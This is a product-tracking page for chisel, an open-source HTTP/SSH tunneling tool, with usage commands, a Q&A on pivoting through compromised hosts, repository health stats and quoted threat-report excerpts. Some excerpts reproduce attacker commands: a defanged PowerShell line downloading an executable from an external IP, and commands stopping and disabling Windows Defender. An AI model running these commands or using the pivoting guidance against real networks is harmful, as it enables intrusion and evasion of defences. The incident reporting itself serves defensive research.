chisel
v1.12.0 open-sourceThe section your link pointed to isn't on chisel's page any more, so we've brought you to the top.
Chisel is a fast TCPTCPA network protocol that delivers a reliable, ordered stream of bytes between two endpoints. It detects lost data and retransmits it./UDPUDPA network protocol that sends individual messages without guaranteeing delivery or order. Applications trade built-in reliability for less overhead and can add their own recovery. tunnel, transported over HTTP, secured via SSH, useful for passing through firewalls.
{
"foo:bar": ["^10\.0\.0\.1:80$", "socks"]
}
chisel client --min-retry-interval 5s --max-retry-interval 60s --max-retry-count 10 https://chisel.example.com 3000:localhost:3000
chisel --keygen mykey.pem && chisel server --keyfile mykey.pem
CHISEL_UDP_MAX_SIZE=65535 chisel client <server> reverse :8080:localhost:3000
export KEEPALIVE_INTERVAL=60
export KEEPALIVE_COUNT=3
chisel client localhost:8080 /3000:localhost:22
Summary
chisel is an open-source command-line tunneling tool that punches TCP/UDP traffic through firewalls over HTTP, secured with SSH, and it is free to use. It ships as a single Go binary that acts as both client and server, so setup means running one executable on each end rather than deploying separate agents. The tags around it — pivoting, port-forwarding, reverse tunnels, SOCKS5SOCKS5A proxy protocol that relays TCP and UDP traffic through an intermediary server without inspecting it, letting cyber tools tunnel connections through firewalls or pivot hosts with minimal overhead. support — place it squarely in post-exploitation work, making it most relevant to red teamers and penetration testers who need a foothold into a segmented network rather than to defenders monitoring one. It sits alongside other pivoting utilities used to bridge restricted networks, with authenticated, auto-reconnecting connections and optional SOCKS5 proxying built in. Started in 2015 and still active, with 45 contributors and a release cut 42 days ago.
Chisel is a fast TCP/UDP tunnel, transported over HTTP, secured via SSH, useful for passing through firewalls.
How chisel helps
How do I reach a service on a network I can only get one foothold into?
a client on the compromised host and a server outside it form a single TCP connection carrying multiple tunnel endpoints, so any port reachable from that foothold becomes reachable from outside without opening new inbound holes
How do I get traffic out of a network that only allows outbound HTTP?
the tunnel rides over an HTTP connection secured with SSH, so it passes as ordinary web traffic through firewalls and proxies that would block a raw TCP tunnel
How do I turn one compromised box into a proxy for everything behind it?
the server can expose a SOCKS5 endpoint, letting any tool that speaks SOCKS route its connections through the client's vantage point into the segmented network behind it
What happens to my pivot when the target host sleeps, loses network, or the server restarts?
the client detects a dead connection through failed keepalive pings and reconnects automatically with a backing-off retry schedule, rather than leaving the tunnel silently broken
Can I get a listener on my own machine that reaches back into the target network I just left?
reverse port forwarding routes connections through the server and out through the client, so a listener started on the attacker side exposes a port that only exists on the target side
Who actually has access to the SOCKS proxy on a server other testers also use?
an authfile of users can be checked against each connection, and since a recent change SOCKS5 access must be explicitly granted per user rather than open to anyone who reaches the server
Languages
Command line
No command matches.
| option | found in | since | description |
|---|
Values are placeholders taken from each option’s declared default. Nothing is executed here — the output shown is a recording of a run that already happened.
Score card
-
Shipping velocity releases a month, last 12 months
-
Documentation quality release-notes rubric, 0–100
-
Breaking-change discipline how rarely a release breaks users, and notice given
-
Maintenance risk quiet time against its own cadence, maintainers
-
Innovation & surface new capabilities, API and MCP surface
- Community health
-
Contributor trend distinct committers, this year against last
-
Maintainer concentration bus factor now against a year ago
-
Issue backlog trend issues closed per issue opened, 12 months
-
Responsiveness median time to a maintainer’s first reply
Nine scores for chisel, each built from the releases, notes and API history this site tracks — and, on Researcher and Business, where it stands among every measured tool in its category and how that has moved.
Score cards are part of every paid plan.
See plans → Already subscribed? Sign in →Trajectory
Blank means never measured; nothing here is a filled-in zero.
Peer standings are included with Researcher and Business. See how this tool ranks against its competitors, using data we don't publish anywhere else.
See plans →Each score is 0–100 on a published rubric, derived from data this site already shows. A dimension we cannot measure says so — it is never scored 0 and never enters a rank.
How this is scored
- Shipping velocity — releases a month over the last 12 months, on a log scale where 16 a month scores 100. Needs 3 releases in the window.
- Documentation quality — the release-notes rubric published on the analytics page, unchanged.
- Breaking-change discipline — the share of releases carrying a breaking change (none scores 100, half or more scores 0). Only projects that label breaking changes are measured: a clean record cannot be told from an unlabelled one.
- Maintenance risk — quiet time measured against the tool's own release cadence (quiet longer than 90 days and three typical gaps scores 0), plus the number of active maintainers and whether contributors are growing, where known. Higher is lower risk.
- Innovation & surface — new capabilities in the feature ledger this year, API and MCP operations added, and the share of commits that are features: the mean of whichever we hold.
- Community health (open-source tools only) — each is a direction, not a size: contributors this year against last, the bus factor now against a year ago, and issues closed per issue opened, where steady scores 50, doubled 100 and halved 0; plus the median time to a maintainer's first reply (an hour scores about 100, a month or more 0). A commercial card has no repository and carries none of the four.
- Documented delivery (commercial tools) — when a vendor's documented new capabilities have slowed against its own baseline, that counts against the overall standing as heavily as two low dimensions. Steady delivery, or too little history to judge, leaves the standing alone; it is never a sixth score.
- Open-source tools are scored on repository signals; commercial tools on their published changelog. Ranks compare tools within one category and one profile and need at least five measured peers; the overall standing needs three ranked dimensions. Best-in-breed or consolidator is a shape, not a quality, and is never scored.
Release-note detail over time
See how much detail chisel puts in its release notes, quarter by quarter, and compare it with tracked tools in the same category. This history uses up to ten retained, reviewed notes per tool; sparse or blank older quarters may reflect that limit.
Checking release-note history…
Releases
6 entries
No entries match these filters.
- August 20261
- May 20261
- August 20241
- August 20231
- January 20231
- November 20201
Project health
Issue, contributor and maintainer activity in jpillora/chisel, 2023-10 – 2026-09, as of 2026-09-25. Twelve-month figures first; the trend lines run the whole window.
- Contributors 2 ±0 vs prior 12 months
- Maintainers 2 +2 joined · −1 left, last 12 months
- Bus factor 1 committers behind half the commits
- Community-filed 91% of issues opened, last 12 months
- Median time to close < 1 day first maintainer reply 25 hours
- Open backlog 198 of 357 issues ever filed
- Issues opened / month 0 · 0 communitymaintainers
- Open backlog 198
- Contributors / month 1
- Commits / month 1
- Stars 16,556
- other 100%
Counts from the project's public repository and git history; no individuals are identified. Maintainers are the committers covering 80% of the last year's commits. how we measure this
Articles
10 articles · updated Nov 4, 2026Where chisel turns up in what others publish: how-tos, attack reports that name it, and incident write-ups. A row says why it is here and quotes where the article names it; the link goes to the publisher.
-
A Detailed Guide on Chisel
Chisel port forwarding is a powerful technique that penetration testers and red teamers commonly use to bypass firewalls and securely access internal services.
2 more quotes
This guide explores how to use Chisel for tunneling traffic and setting up remote connections through local port forwarding and SOCKS5 proxies in various real-world scenarios.
Table of content Introduction to Chisel Background of port forwarding Establish a connection with the remote host Local port forwarding Example – 1 Local Port forwarding Example – 2 Establish Connection with SOCKS5…
-
Operation Talked: A Russia-Linked Cyber Espionage Campaign Targeting Ukraine’s Defense Industry
Data leaves the network through a layered proxy and tunneling stack (Neo-reGeorg, Chisel, suo5, Gost SOCKS5) and out to cloud storage or FTP.
-
Fake AI, real malware: Attackers impersonating AI brands
The attacker deployed web shells and used them to run discovery commands, attempt credential access, and execute an off-the-shelf build of Chisel , an open-source TCP tunnelling tool.
-
Spirals: New Stealthy Ransomware Deployed Against Asian IT Company
The attackers also deployed the Chisel tunneling tool, renamed as chrome.exe to blend in with the Google Chrome browser: CSIDL_WINDOWS\tasks\chrome.exe A Cloudflare Tunnel client was also deployed to the web production…
-
Beyond source code: A path to the keys to the kingdom
In addition to deploying a kube agent, the threat actor modified pipeline scripts to install the Atera remote management agent and download the Chisel tunneling utility.
1 more quote
Chisel commands were executed to establish a reverse tunnel to an external IP address to enable potential remote interaction with the Kubernetes clusters.
-
Ransomware incidents in Japan in the first half of 2026: Investigation of The Gentlemen’s infrastructure and evidence of Qilin's AI use
In Phase 1, the actor uses VPN software and tools such as Chisel and Ligolo to establish network routes and turn its server into an attack platform.
1 more quote
The actor used VPN, Chisel, Ligolo-ng, SSH, and Proxychains to establish communication paths from the attacker-controlled server into the target organization’s internal network.
-
Potemkin Loader & RMMProject The Anatomy of a ClickFix Attack
The AMSI patch handled the PowerShell layer fine, but Defender's on-disk and in-memory scanning kept catching the Chisel binary.
2 more quotes
From there, they attempted a reflective in-memory load of Chisel using [Byte[]]$b=(New-Object Net.WebClient).DownloadData('hxxp://77.110.122[.]58:23205/lQhEQui9a4lZ.exe');…
None of them got Chisel cleanly past Defender, so the attacker eventually gave up on a bypass and stopped the Defender service outright with Stop-Service WinDefend -Force; sc.exe config WinDefend start= disabled; sc.exe…
-
A Peek Into Muddled Libra’s Operational Playbook
Within three minutes, attackers established additional persistence in the target’s environment using an SSH tunnel through the Chisel tool.
2 more quotes
Nearly one minute after they downloaded the ZIP archive containing Chisel, we observed malicious network connections to an attacker-controlled IP address over TCP port 443 (HTTPS).
URL hosting archive containing the Chisel tool.
-
Cybercriminals Abuse Open-Source Tools To Target Africa’s Financial Sector
These tools include: PoshC2: An open-source attack framework Chisel: An open-source tunneling utility Classroom Spy: A remote administration tool The threat actor copies signatures from legitimate applications to forge…
2 more quotes
This playbook appears to consist of a combination of open-source and freely available tools such as PoshC2, Chisel and Classroom Spy, which are advertised as penetration testing and remote administration tools.
How the threat actor used PsExec, Chisel, PoshC2 and Classroom Spy as part of their attack playbook.
Libraries its release ships
What its latest release locks, checked against known advisories.None of its release's images build from a lockfile we can read.
Add the badge to your README
Maintain this project? The badge links readers straight to this page, so they can follow every release here.
Choose a badge style and copy the code →